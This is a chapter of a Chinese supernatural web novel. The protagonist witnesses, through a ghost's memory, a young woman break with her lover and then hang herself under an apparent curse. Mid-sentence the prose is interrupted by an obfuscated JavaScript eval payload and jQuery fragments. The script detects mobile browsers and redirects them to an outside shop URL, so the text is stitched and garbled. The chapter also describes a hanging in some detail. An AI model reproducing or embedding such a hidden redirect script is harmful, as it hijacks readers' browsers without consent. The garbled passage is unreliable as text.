18. 纸人抬棺(七)

作品:《今天也见鬼了呢

    薛婉想最后见一面方执,薛夫人既已达成目的,便由她去了。


    薛婉带着夏柳在城内的一座石桥边碰面。


    听说,这是他们第一次见面的地方。


    方执立于桥边,青衫之下,系着一枚玄色的荷包,随着风左右摇摆。他微微偏头,正瞧见薛婉的身影,快步走来。


    他托起薛婉的手,眼中漾开笑意:“婉儿,你今日怎么突然要相见?”


    薛婉垂下眼帘,不敢瞧他,“公子,我今日来是有事与你说,”她咬咬唇,似是用尽全部力气,“我要成亲了。”


    “什么......?”


    这句话,犹如一记重锤砸在他的心头,他握着薛婉的手紧了又紧,“那,那我呢?”他双眼赤红,一字一句:“你要嫁给旁人,那我呢?”


    “抱歉,父母之命,媒妁之言,我亦无力违抗。”


    方执半晌没有接话,许久后,他强挤出一个笑来,“婉儿,我们逃走吧?去一个谁都不认识我们的地方,我会努力考取功名,会好好待你。将来我们还会有一个孩子,过着最寻常不过的日子,我们会一直一直在一起的,好吗?”


    “公子,”薛婉不住地摇头,保护妹妹的责任,让她有所顾虑,无法抛弃一切,“不可以的,一旦我走了,替嫁的便是薛月。她的情况你也知道,那就是亲手把她送入火坑......”


    方执似是听到了什么不可理喻的事,死死钳制住她的双肩,声音因愤怒而扭曲变调:“薛月再怎么样是她的事,是死是活又与你何干,你只是她姐姐!难道要为她赔上一生吗?”


    他发疯般摇晃着薛婉,理智全然崩塌,“我才是要与你共度一生的人,你明明答应过我的,现在因为一个妹妹,你就要放弃我吗?!”


    薛婉被晃得难受,情绪上涌:“方执,你冷静一点!”


    方执却听不进分毫,周身笼着骇人的低气压,仿佛薛婉再说一个“不”字,便会做出可怕的事来。


    夏柳心中警铃大作,她唾骂着把方执推开,挡在薛婉身前。“你干什么,谁许你对小姐动手的!”


    方执踉跄后退两步,他看着眼前主仆二人戒备的姿态,先是怔愣,随即像是明白了什么,自嘲地摇头嗤笑。“呵,什么为了妹妹,不过是借口罢了。说到底,还是瞧不上我的出身。你母亲替你择的夫家,定然非富即贵,我区区一个穷书生,哪里比得上。”


    薛婉的心一寸寸冷下去。


    “在你心里,我就是如此攀附权贵之人?”薛婉眼神复杂地看着方执。


    方执没有回答,看样子也不打算回答这句话。


    薛婉忽然觉得很累。她原以为方执温润名理,是她晦暗人生中的光,如今她却不敢确定了。失望的情绪笼罩着她,让她没了争辩的力气,泄气道:“方执,小月是我生命中最重要的人,我不会弃她于不顾。”


    “我们,到此为止吧。”


    说罢,薛婉转身便走,夏柳忙跟上去,下桥的时忍不住回头瞥了一眼。


    借由夏柳的视线,林向晚看见方执仍立在桥上。他取下腰间的荷包,紧紧攥在掌心,目光死死锁着薛婉远去的背影,嘴唇无声开合。


    林向晚仔细辨认,读出一句话——


    「你不会离开我的」


    这场相见,终究不欢而散。


    薛婉回到宅子后,就把自己关进屋子里,谁也不见。


    夏柳也拗不过自家小姐,一并被推了出来。但她心里牵挂着薛婉,没有离的太远,就坐在院口的石阶上,等薛婉稍好些再进去伺候。


    门窗紧闭,将外面的视线彻底隔绝。


    林向晚暗自思忖,依她估算,记忆马上要结束了,场景持续的时间不会超过半个时辰。也就是说,半个时辰内,薛婉和夏柳会相继死亡。


    那么,薛婉究竟是怎么死去的呢?


    林向晚倾向是在屋里出的事。


    可现在视线受限,夏柳被关在门外,依照她的性子,若非急事,是不会违背主子意愿闯入的。


    那她要如何才能看见薛婉死前的经过呢,总不能穿墙透壁吧。


    等等,穿墙?


    林向晚脑中灵光一闪。如果是在现实,那她自然不能穿墙而视。可现在身处回忆之中,一切皆是由怨念构筑,她的阴阳眼窥破怨念还是轻轻松松。


    思及此,她不再耽搁,闭目凝神,感知周身怨气流转。


    刹那间,她仿佛置身于深渊,怨气如潮水涌来,包裹住她,一切景物都变得即清晰又模糊。时间飞速消逝,原本阻碍她的力量逐渐消退,终于,这如茧般缠绕的怨气破开一道裂纹,不大,但足已让她的视线穿透。


    林向晚睁开双眼,偌大的院内,花草树木显得虚幻缥缈,仿佛轻轻一碰,就会化为尘埃。墙壁不再成为阻碍,一切清晰映入眼底。


    此时的薛婉,透着说不出的怪异。


    屋内遍地狼藉,案上的物件尽数被薛婉扫落,装着精美糕点的食盒被打翻,圆滚滚的蜜饯骨碌碌滚到脚下,被她踩的粉碎。


    薛婉抱着脑袋缩在床边,身子蜷成像只虾米,发髻散乱,本就白皙的脸此时更是毫无血色。


    林向晚没来由的觉得不太对,薛婉性子果决,拿得起放得下,不像是会如此自暴自弃的人。


    而且......她的眼睛之前有这么黑吗?


    就在此时,异变突生!


    薛婉摇摇晃晃地站起身,动作僵硬,行动迟缓,如同提线木偶。她不知从何处取出一段白绫,作势就要往梁上挂。


    林向晚看得心惊肉跳,她想开口阻止,却忘了这只是回忆,她只是旁观者,什么都阻止不了。


    薛婉目眦欲裂,眼睁睁看见自己系好白绫,踩上木凳,一点点凑近绳结。她想抗拒,可四肢却不听使唤;她想呼救,却发不出半点声音。


    “哐当”一声闷响,脚下的木凳翻倒,她悬于空中,双腿不住挣扎,双手死死扒住白绫,可惜无济于事。两行清泪流出,她眼神凄哀,喉间挤出几声气音。


    “我,我不能死。”


    “我要是死了,月儿,咳咳,她该怎么办。”


    白绫勒入皮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941949|192968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    肉,她的面容涨的青紫,窒息感蔓延,四肢麻木,再没了挣扎的力气。


    最后一刻,她的思绪飘得很远——


    “对不起......”


    那具单薄的身躯悬在空中,微微摇晃。


    一枚玉梳从她怀中滑落,砸在地上,裂痕遍布。


    ......


    林向晚垂下眼帘,没想到,竟是这么个死法。薛婉拿白绫时,她并不相信她会自杀,毕竟她死了,替嫁的事就落在她妹妹薛月身上,这恰恰是她最不愿见到的。


    但若是被人控制,便说得通了。从薛婉最初的异样,和弥留之际的话语,都表明自杀非她本意。


    那么,她的死,一定和送出去的荷包脱不开干系。


    方执不过一介书生,就算有荷包内的生辰八字和头发,也没有能力做到控制薛婉自杀。他的背后,一定有人相助。


    林向晚思绪不定,一样的邪术,一样的藏于暗处。看来,此事又是那神秘组织的手笔。


    上次是面具男人,这次……又会是谁?


    *


    待夏柳察觉到不对时,一切已无可挽回。


    她的尖叫引来了途径的薛夫人,薛夫人脸色铁青,咒骂着这个擅自了断生命的女儿。


    身体发肤,受之父母。薛婉这般死法,不仅会毁了两家联姻,更将令家族蒙羞。


    为了掩人耳目,吴嬷嬷打断了夏柳的腿,把她困于屋中,又安了个莫须有的罪名,草草仗毙。


    对外则宣称薛婉突发急症,借疫病之名禁人靠近遗体,省去所有仪礼,匆匆下葬。


    夏柳的千言万语,都埋没在棍棒之下,她的怀疑,无人听见,死后怨气不散,化为鬼魂,徘徊荷包周围。


    等待一个能发现荷包,能听她说出真相的人。


    *


    意识回笼,林向晚睁开双眼。


    乌云散了,月光透过窗子洒入,整间屋子忽明忽灭。


    眼前是高高的房梁,身下一片柔软。她坐起身,发现自己躺在床上,身旁还是熟悉的陈设,她依然处在薛婉的屋子中。


    她四处张望,偌大的屋子里,静的落针可闻,除了她再没第二道身影。


    “裴砚之?夏柳?”


    没有人回应她的话。


    她走到梳妆台前,铜镜已恢复如常,她似乎看到往日薛婉在这里对镜梳妆的样子,平静的镜面之上,再无半点怨气。


    没半点怨气?


    夏柳她,已去转世了吗?


    是啊,夏柳的执念已经达成。荷包已被带走,她的真相也诉说出口,也该去轮回了。


    亲手走过这桩往事,令林向晚有些怅然,她稀里糊涂目睹了她们主仆的一生,如此短暂又可惜。


    如果没有为难的父母,如果没有表里不一的爱人,她们的结局,会不会不一样?


    林向晚没时间感慨,她要去找裴砚之,那小子不会平白无故不见,定是出了什么事。


    而且她的任务还没有结束,她要把薛婉的遗体带回来,让薛婉死后得到安息。